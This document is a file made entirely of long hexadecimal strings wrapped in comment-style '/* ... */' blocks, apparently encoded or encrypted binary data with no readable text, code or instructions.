01991a741849df055be572be5a1a93fdf864fea37e7d9fe41ca70b9e268bc0518f50d95130ee50f990a6fc85ed01aba96dc648c342b8c4fbcbb2f0655f32b412477d0d83200748f01ac87935abfc1194c35f70b6042e9319a9138b4ee2d401ffaf6dbc907c9cf3f236858434b265b56ee800e2fc312e5bd798c3f1efeb51a225038d08d69515c5a246f6161b0fc08debf2a47161a563382539bc82526175481afc5688867cb4414d22d176ddcbf2404527c0adfebaa42b32cca372331ebb22dbaa3b26f750ad46a66885adbcc812b51ca1bcf205406e3029f47b1617b38910caaf0b2bb6c1cb08cb2f10a327b80abe11e2092f7f18fb47e1408d50f0de7611a32345d3c7bdc2711c25ce7bc1abb23b2272b7e23b902d33807be0639cbc57dac1ff53bf27903a8cddbb12e64e7179fbf638c5705cdf578ccfa4f862b68113187ea7e73ff0073f2501db467c10d9a03522780300c79abad238ebccbb84497f3a22f408098f699b6cadb55ea60ff0122407941908a198334345b19d0e36fa72bd5134e7149d4217501b1787eaa9c1aa5e37a3d52c60df07cbd35bf877abed2676adbdbb5b1bcfd317c89463e98d24a0cb38b053582e013c010691a312e3f2ec9849cb6a39980ecbb9914cf9cf84a803f015855a8ce1650530250e21649f03318db736d58f60d372153dae7bb85ea280641700f8aca3d5519347ca697cc70e16878607958937de130aa2af8610378f9b9e6adf6ff5c9beceeecc40857b00b916d52da2719cfd28a4ebf09878388e54e2177cf2160ee22cb99967d5f915de2ddb67ea6a5bd69b8164f00c1bb44d1420e385167dc5df1ced2660276a5ed4489cccc6cf411a6be726fb42a80350601caf158cc9d8adecd6124b7455e2512597e958852dbffaadfd849ac0f1b58cc46014b4dbdf7852324421f936797377e35119e9e5da0a698d585ff441278a035dffad03c9a7c89fe7c4c9c96630082d2ec11c9a0309d8058305a421b084df23ebbc9188e4e215332483624ca4ef3a0f2d8ab1e56e17c72531f8ffb0272af0916d2c7f15aaab9ab756ef474209d66c48caa62c54022486cf14f444397848f1c161ebadbe588e245b70bb7eab75df6cdd6e437c34a426cd0a06af37aafc3f1a661f8fded93f6aeda6e182ee69bc049f614e11432e6b0e2f34215f17de3f96c7d5bc1af3d75038424538aef9a68684d4b250c76b5c6fe474c7707d6ac44f4eedc2fcb3b20c4784b48b3f8516ef81e1808add3e9fe18ff0a6d5fe39e*/
/*15a86e523c2208857d48bee85be4648fe290fe21010229cb9031bd982699909225846e447622ca1b3d22de03da9df9e1d4e3598d916201ff5882839a2cecdad03df6425ef3f18450b4efc6b644865de51eca7f96420bc00e3692ea9b4312589bf8c4601940e41c1a475c4bd577db6b2f9b0d90afd5ddb20b1cf08dde4a56324fce949048505956bbad3e179c1817f578a1accdec2e5f56f55c0df698887e1437741e939b1a4d81289e4e85e5ce7be3b8e8c1cb3552109eb65e4a25e95a60dbe6c2998c0b7e6edccfa2f520da686fb70446adfe7710ec8786baad8773b8600fb119cd171437c89c29d6740c3757f7defa6e2af058dca557a238a4ad86797198c46d53817704b283aeaae58c073e7266e8552688a703ff58714c7b158b044d8ea7144f489d1b7aa2a8e1be744811b99794349392242923978008883f42efb1b073757414036991e218b10c497bc589e3df7874a2b93e4256d6ff2207de1b830c4746362d143c85499bbc05cbda7b2837f156dc8160755927b159b4824de4b8d07433e9eaebaec3aa3fcc0904892998101d1a9a08a65b4948e1eb018bc1dca32c6def707f552a4b65952845974b94af9647a80816cfa49ab181f49e757fb3338ce0c98a0d4ed09edbbb17f281b275046bdb088a694325a2698bea7d8c15dd0374876b880247dd2396c03da53b0875f565ec87eea81ab5e87622f088d628121a62b8bf46c0d3c02e1d1ae0cd547182930e56ccb82d8f34efedb43daca660d36cc04bb2a10a04b17a0132d28fb2e97f6a2175a69ede088436840d8087b84c6c6bcc7cae8db36628bbb9eaae718e05f99a7f78a555c7f6561cd84aad733ab6802ba3f15a23652274ac41b0da9930de54aa9201e4e887846f50b7503cee15b4ead99acdb676a0b4299d7c1daa34be3928fe38762f9c4b6c47bfa84a2000a7fc73ace8b192fc0f77dc42ac6359144f7a47f75138d33088e18681eafc2fe2232270852539db5870159bda8975372ec85af22569dd224d120529091eace307d5610b92146a4a8c0c6dff617dd308130205eb805677c6037d56fc0f21ff48e42a7f825ba5dff2fb4ddb931f3a2573d2e5a93bd1ae0dbe2948c4f76766ad564eba6714e8ee74a1a7512464080cf46d5e0ce5ca1709232348e3587960ffdfe223f77ecefe83499af10585396e363cfb65392bc9a5cfb6123d3299b100cd5f218a6aa3e4bfe7e3c0d41976d750c27f72c0720a8edd6102f502bafab72919ad9f703e6f2e1944e5594e766b44a66d6d79c3d68db92f1b86c2f4297da7f90b0e041c9c362a85255b827e795bfed8a86a5b47d96dc40570923729cda8d133a76d59bada7bb5f01dab8e5025475572e2428a9a1996b6fc2c8080163d0cbc26e6488b4711a15f32b29faf4ff8c8ee451cadd3bedc12138aafce8ec7a502750f118e74b1d97c4b71086be5af41d15904f0c10b136d7b42481be1c00fcfa3ebd0020a93b1ca33f45f90e9a27bcf673173103e2dbd0b71e38b5f17de4d679393466a7b1be1cd9a1b453f45b0d3bca30f8710a8c1b5a174b733fbaa49e93f61289bbd6265c04e37980ea943c9a4664e187268f2ac0f2c3a9ec65e91e30eaf02ed4e30c1f12fbdb41e041d53e32e27fe6fecf5e492b3a62de0475644e8412fabd81552a7c6ddf52ddc62c8685712d026929bfc61b3d5d388068c0d64445242d74957b32c71c0349baae84a6e2a477da6548edaf28f16bddef83f6a245e0b18cfa5623773197249934a3213ee864fb6e63b31ddfefbbc64b874228ea9c79b1e0f3938107e4cb38967da0d107dc3078dec4ee283121a6dd731873d6475a4ea98c97f235647f3aef08b92110721472805ab8a371c0a7295eaf03d1eddd97c01a98c4347f7a4dbcac784ce53c628fee724198e7e2e5785778e978388b8e49ee6230ce0abf4a70c9832b99a71fbb2cf9b07267f95752a3317d720bc8c328ad66087e39c9cad26744023675039438e915836b2f0a634221acee3926d855d95d9e68acbb51268a0876037016e78f9bea49392749942e8e02b76190ee18d419a812f76949d019a8306138eb710763e0ad29d3d0ebc24f585c9916ba2824f76f9407bc64b471776f7f48f1f9d7db7e6b1caf98e6a7b65fc8f95be0d9f69edc84257a432662a37adb66930bc74b2578f67a81db347bdd63689c077eef5061defd8cd24b1b56b333f393fe206ed4eb2541beeefbf427562f88d07b5f0d80bffea5fcd4692da3a44679778e8504c72ceb17733ace3e6ced9237f1d3cd83462461ca5718ecfdf12ff0b39b1d4f4145a4d6d2cc4cdd10c824406dbe82ad95b8f79363e5a56dcf79dea4fd35334239cef2732aa2d9674eb50eac67cf885b85568e09baf33544a3281e6a078ca42a93d4710fa109debe9e1208112bcc25d326f5a2846213598e2dd3fd59ea534912abccf18dbf83b8832cc8a0c1bf3105ffa9b99c6049f95ccaefc06a6d0bdb4243759b9b06a8339e1e84399463ba460dec4464834a651cadc8c9191c5e05f1c29a7ff1db34e61ccd7461fc60f85ae4f577f491bd40a5f54dc248ce91e52f4023076060acfd019283694f980d3dca60ec53392223786f2d273f8436bfccddea91e7abea0ee2ab1ed0301c2a95abcd70d8cdb458f0366dac519dc4318e099b947f9dd55e31a9ee6209ab60294ee2361344953042da3281e4781870f6cdcbb92ce762304fe8b21ccc19d9a5bf67a9bd24ced9cfc678048d3ad29175640dd97dd859a38c567b8ac0107add357e4d06635e50f5a63bd71249535b767b36738d6c5cde6c5e0ceb364813ae4b7b0c269127df9ca3091146808f2*/
/*d6232375ed129853e9a9751b6ba2b5e9a119f43c0315c276903bc5be6063a2f876840a04002939292713c9c6f196267d8818abcd36af05726a5d352c75c9a2854abbbd0a499c73321ecfdd1337ef2367cbb51e3fd08da22b717f802f46a0b2c77d25fb24e52ceeb2199af47c7f750634eb68c62b99d529d154945095e59ba210d16628ea0c85137b519bd52b8f906e4f24e11194309bc066412a7cea566ef762e3aa16d0c70862cb8b0b91de3a222ee77b09781a46608d62a1bd088d35f48aaba5392dc906f0835e516a87d9479c2ecfa0e1e8341967649ced2fc1926c354800fada2b012630b18d7af0d5b55e377ea44daa376869d05a264673f4d41c381355cacb90393193ba297833b078f53c907103e89061b7e0214c680f52ae8c6a34feda33c57462b15532113c69500179ef0ee6640be3402955385a4b258f57ff08b7807d2ebf3cf318af03ea9f0aac10ada5322dadb20278931d8307f62aed21d9910e7e2bcbfdd389ce73e8345a94a06ee3f49c744102476175934de97ef4e89524ef4e0e3d62848ac4687b470b469986de9f034e940119c633b81404cf8b3dec5699e1719a671184d09330ae6cbf94c345d27545b64b3ab5161edcac0e4b8b95621189721486205135952b4c895b032cbc0994102ecdcce72103b4566fc2106f7eb3c482b53936c78be5965813f7a208e1ba0cd0c3199578b481ba64daee998080e9588dc87088603b60d5ab6ed023c0fa45522c412c3ea3cd4e77ec62bfc66f5312a8c31b40e0694eada597c6312880624ecb8205282e3073bc3a09139f1b7308ed1238798f07010a24ccd0a1cace35ffe8f4779812494cc4b4156221a30397874cebeb1d430cc293cec48a718f4cf66cce3ef75b81c93e9f58ce030f2dc6f4e5143931b09d7f5d9309e44dca28629145c5ce9e38d424676147b76a0adb2531249cfeebd0f6f1210cdb235eeadf9888b2df49ee8fdf313e55a052c77f55903620f2671530bd692fa9029cbf1a3298ef962a122df3dcad9bc13ca387d44cf87e02478f5e42c0b69a23e53320a860f710245dd899292c02345fc32624f8fe7a217a7c5e36740cadf49818a5918934a6cdf707f48127cc22dc5a2dedaa5a7c943e8314e1dc4bc8a38fbb3c13a98287deadad7942d6b1a00e7545a8bd7da0d2a724465a39f700f1602f3420e16539c1525bd9b0ef26b526c518bd7161eef8c01e93b37600899bea4f35419b5789e85ca54f703626b9b0945afdd602d3319f086c9d376f7cd4425f61785f4ad225eec70a82509061e9ebaa330e6e887690c6d8dddeff57153bfaea4ddbbc0a1b4630dee20afe9c2de417bd37fb12e6a1091d596ce3690abe89803db5249a1d82eaa91e37b0af5296e612f4a6dd9c99f9100151332472fc73cfd75b62ff2ed6dfec13b34abe528a4d9fe0fea8a63d840822928bcc89d35f4c6258cb217ed85478c8a1e69965d2dd286e70fa78698c6d3f2758cc982e577de6d89baa7d686f7e0fe0c3a46df305359f63ca5c5a8310a9864778b28cf78bc1b344dfbe849c04de6c4dcb8093cb0e396b08c5cb8abdb860eeeb7ddc282e07551856861b57323b204455fd88a898bb931c068a0afc520f758dfe0bef6ad7760c404e62fa1f9a5691841a339e6663c912dcbb2bb3623d241294f38f4a5419eb82ca75eb8862d13211ed138fda1c98b7c8fe3059e6dabe3da3bbc9c480762bfb0c327dfeef9bedba9c0fd3572af7df4d12d8d3c85c3815c0dcd82702d3dd9dc5c1fcdc5d27840950d9a1f0ad60ebafd7b5ba8be173171c6f1aad06a72da87d0fcad385390da909dee0812ab03d1744dacd1bb132e0688d57264deb25bd838eb4fa6d1cd76441841e3881238d89298cc45b758c42b79098bf24d0b7f366c2fb83e51921b87b639eb179a3b7249d2e1a9c7bdc401b3aec1d5dfab4b202e96a781d1ae23fb85f98bf803754f9ebadf602df0305feaaf84ac11977614138fb2d603d9d69baef7c65bb8a93e1e261cfa953aa6564af2145dbeafbbf66334d0e5ce0e15346ed540010f8a78ac5f313eaa1948012922e95047bdd55adcab806d656f8ffd521a62dcdf3797f87f0921109556485dc250e69ff3341e36fedbf3ade6e7844604e281bf7a6bfb4b023254a090088518b025be58fa474604b122b27bda93c84b9d35fc02dd3b96b1db7346ce67ab31f279af474f965f69de49eb5c40f02cc7c10a17a89885d2178369d5029954cf626b3d16abcfda60975f8cd79a349b0d88b74337d7ac8cb6b446af3d3d97a630633274d0b286c70e7a032d24d328b54a7f8263450eb8cbc13ae0647db849cd857b6c5f162252c11388285c7a57da2804939f0b42d1f1a4178c21ec23840e4d155737977912721a1d2b273c74ff803ac10fe3cea2bf52d3d118877b03e97124128ff80da969ac0dd8db9a33a1f047fb8187b57c0e082ce47c84e6676462eb52effba7c91f0b0dd8362ab5f0dd487cc7299b7b57e9ad58de01d741a358409e0d8bf932479ccb437bbfa46ef4ce31435214439f4ceb0977ce4dd1ef55fef40e29b0ab8b93db1e021cdff644930540838c9307147201ddb4b2362b8d9c5d727432dd2ac217c72263099cce1d2bfe3a584a29c62015dee39926e61a9c63b920bbaf275e0d66a0d2a786a5a51d32b031bdc114002535d570854584c8fb77b660158a42756a610c2cd896cbf1ff6a504192a9d3f8d3008289b8005b306e41830d4e35c603f6efb0fd504f33e581d8b7bedc8c1892b643c1f2035969992d9d75b1686578e860a98f6bac72612eabcb5ddca700a3757e59ee0f48d0be46e09c327200d40ca06*/
/*99bb93dfeb6f6f179c048803ff6a000d171343977b8af7bfd2c3e02ef36f19d43ac96ea5f1c48b3706159fd566654753f6c360e922f51acc3feefb818c0835e145b1a7de9a04defc5c50bd0f8dfc257afdbe26b36350a306d30dc5c626f82385c25948f6b611073e241cb01f58446acc7be5274c8b88293046a832ae8708a9ff31a1f9a1955518dd7190b8e105a9c2f9f4ed389ecd55f63bf46bbd95328236986dac12389cd972d1a2cd996630ab440a86aecec88b2f6414d38c51fc33e4cb22e0edf55ada6c4175a8847c896e0df131c3788ff2c1179f174c54cda9dc44c3c47396def2aeaf5cab4c63a6cca093899238fea64af4032b689ee3bb88a9642e5da0c81431ab1b04e51bae3300d2e2c2bc33bfec6d5373705d89cc7a894fac557f96ae22e8cf4bdd94e106dc3f8e1a490bc813568144034bf347add098299650efc7898f8b41977f539c7fb283a071ebb922d97f82b192950b4b5df0ed6bc93cd9a0dc1315f8cc5af5d92b63589c45a212926b634072890a9cff80fc5e113373c2dad484ed861cc44e0d8aad262aaf5c5496c0430ab3bf426f88e20c0100dabbf0adef8929451d946a022dd463cc8a91b2b8fdc4da42b1495d761397be354ea4d9f2a8d775f4366d7d9235676742f4f7901339d97bbe8378b655e99424c349a7ae65fcfd202abbb1053ba3b065372066ec92416e530f0d34d4040d73fbd81d6be9152b83849ac2b23d2c7f094d6487a60a2a0c0117af5633206fa42b97ea8c40503dec601821c1750fcf9a262d0034b489fcb3fed16931d446213918565a36cbe4fc5b5396947d84f6466eadca6111f8bf21a4a98a0e222f94fbd4769e7223a133d6addaab4083138d0a9f77d16febdc01b859e47b9006391ea4528b1988082a934c8b49e571a827cf4b1b3267e3bad0ec1d6d792559847fe52c234833a9b781930168a5a08704ed81f910d24d71749b3bdeba6fd9cf79ef2594e3abc8493a9be7004dc2da4fed91fb2758409d79bac64bb55bf9136bffe97494c46c15917350f81b8e9c84e5d4f6b45725b3e0a45988d583f91d78a62dc7f0de4d60e192e0f4a57fb49b697927805b4d8894d68672ba358ebcf01d9489d8126e420abf54dd27c07090b45a887aa19141f93d1bfd13a23efe29e2e29cd45da4d16a913849d871e5b263377100e91801c43d790f278563d2de57ac0260fff764c0dbfeba005a7f8530070c88847fa7cb28dbf5a0e82b00f92f018c4fd75bd8436caf57971528b8f4011290e3940f4e8ea3ebdc1201afe0e1f098f8f21abf7c166fd737de63547bf5bc8f47445fceb355466d958ce4281ff90e8b3993b9cb2dec33832cda010e9e96600d15fca3bda10de41e3205fa37012bff8691570e26f2a49c76de54ad3c37914262ce274a229be1d864db64c6c7dd844a504e47de2aec7503c7b494fe569eb5b40837bebe81ddb7a722f6bc74fa04231025e66571abeb24331bd47f38b58d9ac3538f3cc9c0312ae64e0ad0d57843933b2a18df373e1e2e183b9aef1cca04d865190b8cd903561e54b8fa30bfd70a9229c71da1a2d4f730f1142f8b8acfe60597182be69a1109fc08123cc03be7e5912d19b8ab01431e3796ed1bf2a212a17828464bba5384378ad7c7eabac387fd0c81c2515476f43bc07ee8ecf0dbfcaaa9187f9129d1cd354a8b7ce454dedaeffea8beb86660c8f62a3a128261b65137989ffc128c0a74329c0ad456d41a4a28a81fc4e9db7cd0d0dce8911d8607133f11cdae6ac244c732d3f3c3a15f127ddbedeec9a87ccca660995c59e2c0ccf53f96a4c2509fcb75588c790fb606df60b61fbccaabf0cc0a0652a96f4c5d5570abaea85d4effbfa9007e549496f683223fafd70a6baaa8137d2ac026a668a0f1cd78d7912a2deb832f7525cab3873b522a22fdb24dbc5de4276d48932d5b83c566ae9f0b116d16764c303880dde79ff2ea71037b4e8066a2a942f0794ba915e02908472bfc7011ec7c4a3fae71bc9055cda51dd9b583a72310e52b28526c4f5305af692e1d49518436ded470fdc0d3a9c4c34ab458bf1d87ee0f4f720a2eb81fc596ffc323e751efb2fa4bb12412edcb773edc4bb410ea929733dc6c79397f4993ab19b58976f5261db2b7bfbf82392ed94fd9bb065da57c90951c2619e21f42b6afe785a6a59c17e2fc63994030054c88de47af3d902aa577dfc1e9d300af648b5c5fe1e4aa2882002b0b67c0c50696802ac0bfd51cda8d57bf188fa0ad1c9d81eaface6cea5c88c2941e050a9398ab1c4925c9306354c6305874a4227302eeb3f35bb333258989bd2fcf49face8e53cdd4177814abc6e8d76d8dfbcc7da6412b18f32a0d6bb3476235ab7b7cffafb41ad110d913b5c585743e2c8226186a9b8318bc4fe39bbac2aec22b82a40b751d9a71ceac2b9a2f2b9a09c26d7d8d468b1c62e7e72af60249b2ed6548e8a0fd7961236b49c178fd04b816c8c4428bb7cc29b64c9646ce0ad2303a7e11ace5f794d011fb27a2e9766c7ab90ba6fb53fdf89996ff84f2fc47c5d784424672900a558f6e4d5e6f409c9a74f74da6e292381e48451c83733bff70aa10494b9d6d7a24e89da72bd27c72473031620c80117a0c7497873226baad93a5d4ea62d03db30435131d9638ec699d71c952a0e621995529d41c1ac16d1a2f2aa3f128669fa8f75816af0c698a81ef092f51740460a9a994e21aa281bffb548f62fc19a95ff36efa9f7ffb4becb2e7d252a4495f80e84125c24d0b684b5fa571121b414309faf5bd20cefd794d61042e3a60d775412a8df6c094f9163baf282d18931395bc0eb03b50*/
/*b2adc1c8bdef7e8ac4f66f208e641400bcfb31ccd695e3df6024a34a048af9497d967336730f77abafc19c71dd29935f102a4880043cc016ffe87423b60215105610cfb7dcd03a961c12f15d9158af9251e84355438fbb048e52a35591b2fd522656eee7885fdef8d09d00520216478fa7e1ab81e3cb4b29565c70b4e184c332aa82ff14248b5de19ed788df7557f7c0ee318b16dbb6dab456cb3ced9d1f11902fe6e5ced4c6d5cbeb96e50da4851c4d582db205967cbe76ce6eb21e85f98533fa4fbde799a1eae9278aea4a7586144d5d19a4054d4e452c56818830909dc8c2e2acada2024bed28a1b23b763a47580d4f3b15392fe74a294b32378dfe961d7776a172ca466923445d4fceeaf1c6da88a91ca38da3c872f8a7171eaba80ea9b7b5e43929ad8c709718d7cd61e9d872700b797b9341e0c6fcbfe550558767eaebfe111c352b3f1b59f6a470e592b2fab2a882dc81cf0b5e79831d69a98428347f54809eece5209ae423e087d7e853dffb5e6bb306502bf041f907fdcd8698f7711eaaaaf89057d7815f844444d24a0f875d3bf1d493099e444624341f83088d4ca61c32ac790aef0e01d4fb889693dd1eb6e887c30812f9864b2207961d2071c380d8c5dffd8b47e795e661e1a28756d40660277c35179c05e0c34b12e218477e26fa344c35c93751398c96c80881b0d3bf9b34f3021566a7c43f43472b307fa3351031201af5b2ac27c14b74ae65ab0be2b30635e223beb1b6c6e2fb54cc173078440fc0cbc8a4ba8a3a22ac5a0484df6dc70a9ecbe1e005aff6773a965b60c2d5d8e139ad5e457ebafe762396cc9f8d34e3d7535d67c547fa3abeb5d2177b8fa1502496a5f579e93563c27f8c18f997496fe2ddd2825c4244e329c3b55387c89c5d0b01d74b3c8a34c1acea5e78d821267658990d31b4bf834ac7ac6c2338119d921e47990548843db1fa1bc034b710285040e503b9cccfdcfc37e3388b600097d246b4b9c79792cbde7420578c5f19f9e1499a6b8e7f1e9b77bf90a2bc54e71372128fc3469a3dc4a0d4237859a6040f45ef143fcb591a2a020d4054769e011baa1b2f90b35b38abc5db13f856829777edabd57a6c08c9f9d5be5eaf8d891047b6a6633af93ae840f255ae36d94c6e6113021c4497ff8233a6059caff0798ea206cb4604b71e0107b601915e5731a4a60f4cc180a81e0aa59ed15c0e2ef66acaa492eb11156510686d9c6da7268d8e77c019e030d4cb8f2b307a32bb387d496006a14f52003955d2066b0e4acc9650469b7dfdc91531006665b205645f5662433231b39bd1cf07925f65ebd478d75733012db5ef054a7878fe39e751ce303fb2fb99951bb50a6645834bd9964fd62d4bfce69aa8f063145447057ea90eca514cda0c40149921157a333090fcf883f827796f3915d397075cc6282db0bf176d773d95294b81830e61e60bf772ece96b4c4fc13127ab7c4edf34960b573c07b7e7c90f61f4c85b3f484892fec86086c15552c0fb3cd94848c94cd491bc5c213229cd4e4533ccd4d46795f877c3953439bb696479df12403aae5b776e10421337f7263b873f4ce952b5414e04007bcb8ce53ad02d88c4ba2dd5687e6caec8022c0c4f33c53b2ebeaae8ea84c8e6c036fd8738db42a5f3b852eee3de45734f814524a35e98e8eb07bf5047ba662a1d809b374ce262bc633070d580a07ab893928a6062437992868bb096311c919af1cf9fc87b7ad75e36fadba4f1cdd12a2e9f72347da80736d4dc73b513c5689f31301228a087f29cb3bcca83e36433cc138e2ba231c386c7f530c967d0cb7cc5e1f4c5dabf7f7e3a2ff3d07dc39b0c3828ee45ac5822219970304f7db8eb9acbbbbc313f995a407fab7968f051ddddf1df8f0d5c4ace97a9a0d5677b06080f0d15fe383f88bb49c3617daf85297c92489192da4a573b6bac5a040cb9503d00d5b07d914fcf95e3cc0db5744138754c2537926e9e9f51046dd6bbd169a25ff0fd48b49f366e62afbf6e08ee08ec79f4b0fa7ce5a3d0a8364029733be5ca5c7b9dd295d1221fb86e7d2f0a241d6bae1979d3673a9141de492b4f6c280bec7f14bba37ed85e880589b428daadb2d02a7435d7bfd2bcd0d30b68dc48d7b815f6f2d354c8f2e32152a555d5124dd60f8ef1fe4cd89e949c0a147da92a09d4162effa908b376d00253eed5e7598e94b47a0b31e9792b8d6d501bba3b3ff5ce0d17a4e2949dbfcd6fd38238d01a1d4f9add69420e68eb021a5870264c778c22599f3cde20050b9d3f47b7549ca6097c9a7459da1fe81e41bcc6471efc94bda3fa34545a235b966970f1bb8c208895b59767e5c5a7f7ec1188e5c81402a49230a6dff6c76bb53204df93661e9490ff14724cae5e0b7bd13ca656998a8ed311af761b9b4cb2872d14c82577ed285bdefddb4e89e269457cf53e399e44e83805538117b6d8eff0d3f49918b18a177a1ce0687dc8c8d242db1371da21c4e7ab5cf21358f98722940d186ffedb51259671933b1d34bd73f51301f3af418fcb2d3e448ba46f245115c2a08253f0f74fd8c7b7835ae8c0471f9e0cea6134dbd31106d884a51658ea48e787fda2f5ae2ba144d3784284d48a102e5cfeaa9d5a0ef15f2245635d891fe12d50ba1f0ffcf1a74d6257ac3cd968241a02d6e083af729455035becfc4f94daa58370d829de0e064d790a98a3380817ff127591545abab50486c850c254a692249e31acb867521f9113740a1694241d1c64217ad55a70e3f5d5658f2de9c2519f7709c8fe8ef5f8c1ff0071d555074e9ada8987d769ae332d22f9f12177d5af7a*/
/*abc3ff30725c1f093ca7e2938faf8cd2d430c17cce005d6f61a419ef690b52ea4e964caa6f86074108a88f60b456b4c99ce308a619561306bad253a65beb3dd8b89feec26917a171504443925ad579b757632f69d81804111a3d6bb669c81c539f139086d70394c9b06fb040b5f01ac3656dddb7de7eeae447ddaeca11a78e92b946821335db711690a916191cdaa55d1b30b33d49a6d2bcef11cb9ff379d7ea1181b34d68f012378f7f59af66fb5784e8bfd6b1387cc4613c036cefae3cd40efae5df0a26a954ae7c5fe97d7689b50e55adb755836fe2ad08fa4a7d5533dd49838c5aa289f9c15b98bceeaec81c80bd7ba2a9c195779d4b2ff553000f353afc677fdc83cca40789409b9c92c9da116200aa029d8831993060366c87af3f08f409a69c78a3c7f55d70e0fb3f15b575be993c2972835e3dd5d88752f32a2ad074045a6d6a081848a3136227c039af2168becb5f10dbc2929048ebf0d3c3cdc4c3d8b424262cd344b70264d587c16b5af77dd6941af59d5f97b2b52415f4e6ab47cacb2c217de71ed114b193fb924cf3ba8ed97143b2f2b6825b9e54618573476c2e3c5d20272fe6843f0317d2c69cfc0761228bfee1d1e98236339a290cb2fbd73a3cf1b74a8678f0a9146866e9eb3bba7cf18861e37ea5c6bb4cad488e7d5729ee2133ddbaf5e324e0905f946bb10673190e45524ec8290ac130b97e8e29a66ad28d322ea1a8fe63489ca654873a364db81d82a95e5b27e47889558232db341ae854339f237c1f67c64d230e991a777b4471089cad771cfb2f86fd8a06910544928d99962ecdda84c03dfa1011fb619292cbed0aadcd80eb5fcac50b2e65fee3c2939419109af8ff31307d12f28db76a52e415c60355206860ab5dac719c973794e3309998bfec3bbc2e125cfe48d461e1dcf5ea1491b9c16afbd37f94fe09e51e08d6d633b1e611f05fd1ce7f39235af32a064297db3ad6238ce041da2298200276be9001ded31707613664ef653d1854bb1c2b47ce3191e63a72277549a7951ab0f5199597ae2ce4ea4508f910432449a0d7864f2e6dff8107e5e0b8d3178d764986c9e32effa5f1b54637128a7171f61c4ea2fcfcc307695f37cb40396d42b1011e5673c86403670143dc4e7ef06011288b1478567d6fb71649c28654db06b9fa01da03c0edce5f3ad2290c555a0974c9772d95be48ac777a0bbfa5eafb7217dffc656a54d5437ce10931530cd79e181e30796ea9c57bfa47701ff4b166617576bf29c3a0405d12237235e8cb82e660dba20f7747614328696dd9148bdfb02bbc27030e309d8b044a8d5304c54673dea0ba455c2c80c1afb6e50f93c04a55d98086fac2eeefda95ce93820f0bb65fc8e73e2dfca6de3d4bfd9f6dfd20c03192512a4010aad272b166e1b562d7b810703d5c1a8aeec07df0a41f3e855b66386dac4e4c0444401cba2f5df2474d66aa537f9d0364ac2c499e98a1210ca8e0b7717dd6b19571bbbbb1dc5758bee95051e0e2784a116579187fd46098d6ed3f9c9bec265490cf02b3226654cc4e5e3547cf647dad1d5e6adb6c1e632062d9e0abb41c87d0baea58dfa223e857d26e46803373b396e911b96f13a8ede57eb4528819327fab6f2caced2b350d7c5aad14dd5191980fadb29e18b90b5d88b32c609bd1b988f1cae1706a64f1aa31c86d10208fe881234b7f65c3c828b117bead3a7b9a2655ef49fe600bd6bd9ced391ed5b40b431ceb45639efa8c4c8b8d276d437cf254ae5a61964a575faa6e493a31b49a36253ce0b690ca261ff2d3113bbe72b9cd006df38f540a0b2843d3f4506c6e3c29cca546f29512fd053c3a1d7e55be1d0f8b2d1b40f6ca309159fcdea3630cceb5afdf1175f5abd75df039d383a285bba8a02bd4d8ef0f8705d6f43849ada68308fb13ba7923c6ebac20736184d1b90166c02d71006fb25c178610e0fb33132e70e19191a33d861747135b3f976e67190b6255149d62e44895f28168eade046e4a0814af8b07785d8c0c5c2ef59c463ac8bbfd9cb3fdfdb6b09fa19c551c5d20a4069e0bdd9f8dab1619820faceee55a0384a6537af61844fbd67f3b79317a4a1a80e117c3f9a486ba5dc7c5b4d0095aa7d8a0e6efb4e5cd10e6a72d90f75562c26063854f6bf7387a83fd0f7ed9b402aa95546cb31e26182aab5cbdbf310e2b7ba9ca72030e4936d77676c229bf322beb312dadaa277f1a9210a5d23fae313058a9dadabe474e694f8e42ca8b87c1bd196d0c849f4b522e6a8a86f161d3bc35d3d57eacaa78f1a830f3bc980b22eaf9e7b6da8033cf37fd0a489990dfbc98f6c89090a31f6eee619c667438ababeb5ecea49478daa5d00760d7e26c809ca87c417ae65f5c2a1f3b7faab96630453c5b05e534921fb492b719f5389b2bcdf8a08935fdc8076afd98719f87b1cdb403b717c9f8dfec1afe5624d11bb576b73740ec8e2eebd92cecfd97bfeec39ea574a33b34f10cc0a6c449e916bc93dc77e80af8cbf6fac7cf5585542566920dbe9334ed6473ce69016bfd94f31833f116c6369b89820a20497ff205667bf3e249a6cdafca1deeb2ba962df1ce6bb1a45ed8cd27c4591e4863d001e4d2f3b6b54f0e5439d364478ca826ed0e7a888aac0e97bd9057f76d89321bc2649504c635adff7095af093c45d448acf0a3945aaaecb97625d89ad6622a80360fa817232d2a87b63507ee05e08021117b89812b1492a48736005104aaa8763ce94c33d176796d876ebe153d8fcb26b53e49d17ad2127501fde934fdba1be6d4eeab049d4081c653552fb46ac986c5b26a3e11543bb93135*/
/*962542ff69a8ae8ce1aa870fecc9ee70c921b9c75e1eaf532ddd5057ee0b93cb1650759ce1d4747a48efa68115add2f0faa621c52da69a269f8ed488459230949f5f17b63d51f496b07d981cd5bc702eee357ec1cd9e18927e1b4f67718effe8423bfe0d5bcfbf7874aec5906995cd872f6dacc54afde35d2c8d0209aab358b3ac0f4adf8a598708508070df0a9c73abf4fa4fc91af0fbd10546fb2333639d8b39f96255b313b14e3b682293afcaeedd8f7019ae9b3dfada121da03d649ae87cba43a75a5fecfe97deded980593b47dab42289724b648a51ab06189ac8f5309e25e05f7bc2bc7e58ef5f82a48e8fa23c682349e38f019cc964d34cd620d0e15271e55ac7f968171847c361cc9b53dab361d27f10e3732284943b03e5449ff6c3ee6a99510aef961edc6168a632f8b262c0963861db8f8bab167ac10f4176080d4a474d2e3dbfeb307e228768b0453b87453c60ecb489e55f36c2b1ee7979fd86935f2e58bb24aa811a8781d0c152dd7036ae7d14c464105df790f3d87bab3666ec5c307cc72165386b4de544f354a20f6e7115c3fee3e147effdff3e4467fa8773e78022eb21588056b9c6b5a91252daa51311115786549bf9d297fc17816e3290e0c415505b856a3eebbd1642cd99750153360c220abd3e2ebc86fd798de98e6ffb096720c6ed7551820513994e9cc97545156dff80decf75bc7bbbc58d7ad4864429ecaa4d706c2ad784a974750232ac45a431091cdfccf8f0e4c3327555357ba0fe25e554609187be19ea8daa9b7267c96fa7d71e7f8e4ce64e8558772c6811ae208f8e10f9b06ade0e65f2424a0709a3c0c251b91536a47529d6aab1b570816dbf843bb2ddd7b5cd7eee6f0333064ee47b1fcfaad3310747a8b8ca8e857031ebd8cc7838f0da9b92ebd191a774d687500ae1aaec8897c592aefe66ed8b6140bd27ef31a837f4d5e306512476832b76fce347bcecc55739a9c42225db0efaae5916b780ded27608351d96536dcfb69a81f37d716b4e97946c8022219308128c40e5c808a631456af1e2b339ab6cad1be94f2b5